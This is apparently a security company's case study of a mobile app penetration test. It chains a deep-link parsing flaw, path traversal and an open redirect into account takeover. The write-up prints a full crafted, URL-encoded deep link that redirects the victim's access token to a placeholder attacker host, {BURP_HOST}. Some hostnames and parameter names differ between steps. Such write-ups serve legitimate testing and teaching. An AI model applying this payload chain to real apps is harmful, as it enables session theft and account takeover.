February 12, 2025
A discovered deep link vulnerability in a mobile app leads to full account takeover through path traversal and open redirection to hijack the user session.
Ahmed M. Arafat
While conducting a penetration testing engagement on a mobile application for one of our clients, and while investigating the application's deeplinks, we identified an interesting parsing of a DeepLink on the targeted application. That we later used in a request forgery due to a chain of vulnerabilities, including path traversal and open redirects within api.target.com. Consequently, we successfully achieved a full account takeover by leaking the victim's access token — a mistake similar to what we uncovered in a JWT flaw that exposed multiple subdomains.
Deeplinks are a type of URL created specifically for mobile apps. Rather than opening a webpage in a browser like a traditional URL, a deeplink launches the associated mobile app and takes the user straight to a specific area or function within the app.
By implementing deeplink parsing in mobile apps, developers allow users to jump into specific app sections but improper validation here can lead to dangerous request redirections or token leaks, enabling users to access content or perform actions within the app without having to go through multiple steps or screens. Deep links are commonly used for various purposes, such as linking to a specific product page, displaying personalized content, initiating in-app purchases, or directing users to specific sections of the app based on a shared link.
Vulnerable DeepLink : https://www.target.com/activity/2222-1111
While carrying out our reconnaissance process, we discovered multiple deep links that were parsed similarly. However, we'll use one as an example for clarity. When this specific DeepLink is accessed within the mobile application, it triggers a function designed to parse the values "2222" and "1111" as a string. These parsed values are then transmitted to the activity detail endpoint for the retrieval of further information.
While monitoring the HTTP traffic, we observed that the application extracts the first part of the parsed string - "2222" in this instance - and uses it to generate a request to this endpoint: https://api.target.com/v1/usr/activity/2222. The critical vulnerability is found in how this value is used. It is taken at face value and used as a parameter in another API request to the endpoint https://api.target.com/v1/usr/activity/{value}. To confirm this, we examined the source code and recorded it for further investigation.
Subsequently, during the testing of a different version of the API to which the previous request was sent, we identified an endpoint at https://api.targt.com/v3/usr/user/login/code?ref_url=https://deepstrike.io as an open redirect, allowing redirection to external domains under attacker control. A request made to this endpoint automatically redirects the user to the URL https://deepstrike.com . At this point, we conceived the idea to chain this low impact finding with the lack of validation in the way the application manages the deep links. This would enable us to redirect the user to a site under our control, thereby revealing his session token in the request. However, to exploit this, we first need another misconfiguration,"path traversal". Let's explore why.
Upon revisiting the parsing algorithm, we uncovered a path traversal vulnerability that allowed us to reach unintended internal endpoints using directory traversal like ../ in the deep link path. The susceptible endpoint is positioned at https://www.target.com/activity/{{value}}-1111. By substituting "{{value}}" with the string ../../../../../../test, we could manipulate the pathway and navigate to unintended locations.
In particular, when we utilized the input "../../../../../.." to substitute "{{value}}," the application generated a request to the endpoint https://api.target.com/v1/usr/activity/../../../../../../../../test. The application attempted to traverse the directories by interpreting the "../" segments, culminating in the unintended final URL https://api.target.com/test.
Now, the concept is to amalgamate all of these components to execute the following steps: the user triggers the malformed deep link with the payload; the function parses the deep link and contacts the endpoint at API version 1; the path traversal redirects the request to API version 3, specifically to the endpoint that is vulnerable to an open redirect, which then calls an entirely different host under the attacker's control.
Having understood the application's functionality, the open redirection, and the path traversal vulnerabilities, we successfully hijacked the target session by directing users to an endpoint under our control. The final crafted deep link looks like this:https://www.target.com/activity/..%2F..%2F..%2Fv3%2Fusr%2Fuser%2Flogin%2Fcode%3Fref_url%3Dhttp%3A%2F%2F{BURP_HOST}%2F-1111
Once the user triggers this deep link, the application will parse the section preceding the "-" symbol. When decoded, it appears as:../../../v3/usr/user/login/code?refer_url=http://{BURP_HOST}/
This decoded segment is then appended to the new API URL, resulting in:https://api.target.com/v1/usr/activity/../../../v3/usr/usr/login/code?refer_url=http://{BURP_HOST}/
Due to path traversal, this URL undergoes further modifications, leading to:https://api.target.com/v3/usr/user/login/code?ref_url=http://{BURP_HOST}/
Given that the URL is susceptible to open redirection, it diverts the user to the specified {BURP_HOST}. As a result, this flow resulted in access token leakage, exposing the victim's credentials to the attacker and enabling full account takeover.
This deep-dive into deeplink vulnerabilities is a crucial reminder for all penetration testers about the importance of thorough testing. Seemingly small vulnerabilities, like open redirect and path traversal, might not look like a big deal on their own. However, when combined, they can lead to serious security issues, such as account hijacking.
It's not just about finding individual weak spots; we need to understand how these weaknesses can interact and cause bigger problems. This case study highlights why we should look at every detail, from deeplinks to APIs, and make sure nothing is overlooked.
In simpler terms, it's like a chain: each small vulnerability is a weak link, and even if each one doesn't seem to matter much on its own, when they're connected, they can break the whole chain. This is why comprehensive testing is so vital—it helps us find and fix these weak links before they cause real damage.